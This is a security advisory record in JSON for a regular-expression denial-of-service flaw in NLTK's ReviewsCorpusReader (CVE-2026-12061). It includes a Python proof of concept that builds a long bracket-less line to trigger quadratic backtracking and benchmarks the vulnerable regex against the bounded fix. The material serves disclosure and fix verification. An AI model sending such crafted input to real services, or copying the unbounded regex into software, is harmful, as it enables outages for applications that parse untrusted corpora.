1 line
6.6 KiB
JSON
1 line
6.6 KiB
JSON
{"schema_version":"1.9.0","id":"GHSA-fg7f-2386-8897","published":"2026-07-31T16:51:09Z","modified":"2026-09-10T03:50:51.940502717Z","aliases":["CVE-2026-12061","PYSEC-2026-3582"],"summary":"Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex","details":"### Summary\n`ReviewsCorpusReader` extracts feature annotations of the form *label* followed by a bracketed signed digit (e.g. a label then `[+2]`) from each review line, using the module-level `FEATURES` regex. The feature-label sub-pattern is unbounded — an optional greedy run of word-plus-whitespace groups followed by another word, which must then be followed by a literal `[`. On a long bracket-less line the label can match from every search position to the end of the line, causing quadratic backtracking. A single crafted line in a reviews corpus hangs `reviews()`, `features()`, and `sents()`. \n\n\n### Details\nThe label alternative is a greedy, unanchored run of word-plus-whitespace groups followed by a word, which must then be followed by a literal `[`. On an input that is a long sequence of word-plus-whitespace with no bracket, at each of the *n* starting positions the engine greedily extends the label to the end of the line, only then fails to find the bracket, and backtracks the whole way. `re.findall` repeats this from every position, giving O(n²) total work. There is no exponential blow-up, but quadratic growth on an attacker-controlled line length is enough to hang the reader: a single line of ~100,000 words consumes CPU for tens of seconds to minutes.\n\n### PoC\n```\nimport multiprocessing as mp\nimport re\nimport time\n\n# --- The vulnerable regex, verbatim from nltk/corpus/reader/reviews.py L70-71 ---\nFEATURES_VULN = re.compile(r\"((?:(?:\\w+\\s)+)?\\w+)\\[((?:\\+|\\-)\\d)\\]\")\n\n# --- Bounded variant from the fix (PR #3583): cap the per-label word run.\n# A generous bound (real feature labels are short noun phrases) makes the\n# run linear while never affecting legitimate corpora. ---\nWORD_BOUND = 50\nFEATURES_FIXED = re.compile(\n r\"((?:(?:\\w+\\s){0,%d})?\\w+)\\[((?:\\+|\\-)\\d)\\]\" % WORD_BOUND\n)\n\nTIMEOUT = 20.0 # seconds, per measurement\nSIZES = [1000, 2000, 4000, 8000, 16000] # words on a single bracket-less line\n\n\ndef _bad_line(n_words):\n \"\"\"A long line of plain words with NO trailing bracketed annotation.\"\"\"\n return (\"word \" * n_words).rstrip()\n\n\ndef _worker(pattern_str, line, q):\n pat = re.compile(pattern_str)\n t0 = time.perf_counter()\n pat.findall(line)\n q.put(time.perf_counter() - t0)\n\n\ndef timed_findall(pattern, line, timeout=TIMEOUT):\n \"\"\"Run pattern.findall(line) in a killable process; return seconds or None (timeout).\"\"\"\n q = mp.Queue()\n p = mp.Process(target=_worker, args=(pattern.pattern, line, q))\n p.start()\n p.join(timeout)\n if p.is_alive():\n p.terminate()\n p.join()\n return None\n return q.get() if not q.empty() else None\n\n\ndef bench(label, pattern):\n print(f\"\\n[{label}] pattern: {pattern.pattern}\")\n print(f\" {'words':>7} {'~bytes':>8} {'time':>12} {'x prev':>7}\")\n prev = None\n for n in SIZES:\n line = _bad_line(n)\n t = timed_findall(pattern, line)\n if t is None:\n print(f\" {n:>7} {len(line):>8} {'>%.0fs TIMEOUT' % TIMEOUT:>12} {'--':>7}\")\n prev = None\n else:\n ratio = f\"{t/prev:.1f}x\" if prev else \"--\"\n print(f\" {n:>7} {len(line):>8} {t*1000:>9.1f} ms {ratio:>7}\")\n prev = t\n\n\ndef parity_check():\n \"\"\"The bound must NOT change extraction on a realistic annotated line.\"\"\"\n real = (\n \"the picture quality[+2] and battery life[+1] are great but \"\n \"the lens cap[-1] feels cheap and the menu system[-2] is slow\"\n )\n a = FEATURES_VULN.findall(real)\n b = FEATURES_FIXED.findall(real)\n print(\"\\n[parity] realistic annotated line — extraction must be identical\")\n print(f\" vulnerable regex -> {a}\")\n print(f\" bounded regex -> {b}\")\n print(f\" identical: {a == b}\")\n return a == b\n\n\ndef main():\n print(\"=\" * 66)\n print(\" NLTK ReviewsCorpusReader FEATURES ReDoS PoC (quadratic backtracking)\")\n print(\"=\" * 66)\n print(f\" per-call timeout = {TIMEOUT:.0f}s word bound (fix) = {WORD_BOUND}\")\n\n bench(\"VULNERABLE reviews.py L70-71\", FEATURES_VULN)\n bench(\"BOUNDED fix #3583\", FEATURES_FIXED)\n same = parity_check()\n\n print(\"\\n\" + \"=\" * 66)\n print(\" Vulnerable: ~4x time per input doubling => O(n^2) quadratic ReDoS\")\n print(\" Bounded: ~2x time per input doubling => O(n) linear, stays in ms\")\n print(f\" Extraction parity on real annotations preserved: {same}\")\n print(\" A single ~100k-word bracket-less review line hangs reviews()/features()/sents().\")\n print(\"=\" * 66)\n\n\nif __name__ == \"__main__\":\n main()\n```\n\n### Impact\nDenial of service. Processing a single crafted line through `ReviewsCorpusReader` consumes CPU quadratically in the line length, hanging the calling thread or process. An application that loads an untrusted or user-supplied reviews corpus (multi-tenant pipelines, services that accept user-provided corpora, batch or CI jobs) can be stalled by one malicious line, with no authentication and no privileges required.","affected":[{"package":{"name":"nltk","ecosystem":"PyPI","purl":"pkg:pypi/nltk"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.0"}]}],"versions":["0.8","0.9","0.9.3","0.9.4","0.9.5","0.9.6","0.9.7","0.9.8","0.9.9","2.0.1","2.0.1rc1","2.0.1rc2-git","2.0.1rc3","2.0.1rc4","2.0.2","2.0.3","2.0.4","2.0.5","2.0b4","2.0b5","2.0b6","2.0b7","2.0b8","2.0b9","3.0.0","3.0.0b1","3.0.0b2","3.0.1","3.0.2","3.0.3","3.0.4","3.0.5","3.1","3.2","3.2.1","3.2.2","3.2.3","3.2.4","3.2.5","3.3","3.4","3.4.1","3.4.2","3.4.3","3.4.4","3.4.5","3.5","3.5b1","3.6","3.6.1","3.6.2","3.6.3","3.6.4","3.6.5","3.6.6","3.6.7","3.7","3.8","3.8.1","3.9","3.9.1","3.9.2","3.9.3","3.9.4","3.9b1"],"database_specific":{"last_known_affected_version_range":"<= 3.9.4","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/07/GHSA-fg7f-2386-8897/GHSA-fg7f-2386-8897.json"}}],"references":[{"type":"WEB","url":"https://github.com/nltk/nltk/security/advisories/GHSA-fg7f-2386-8897"},{"type":"PACKAGE","url":"https://github.com/nltk/nltk"}],"database_specific":{"cwe_ids":["CWE-1333"],"github_reviewed":true,"github_reviewed_at":"2026-07-31T16:51:09Z","nvd_published_at":"2026-06-15T20:16:34Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]} |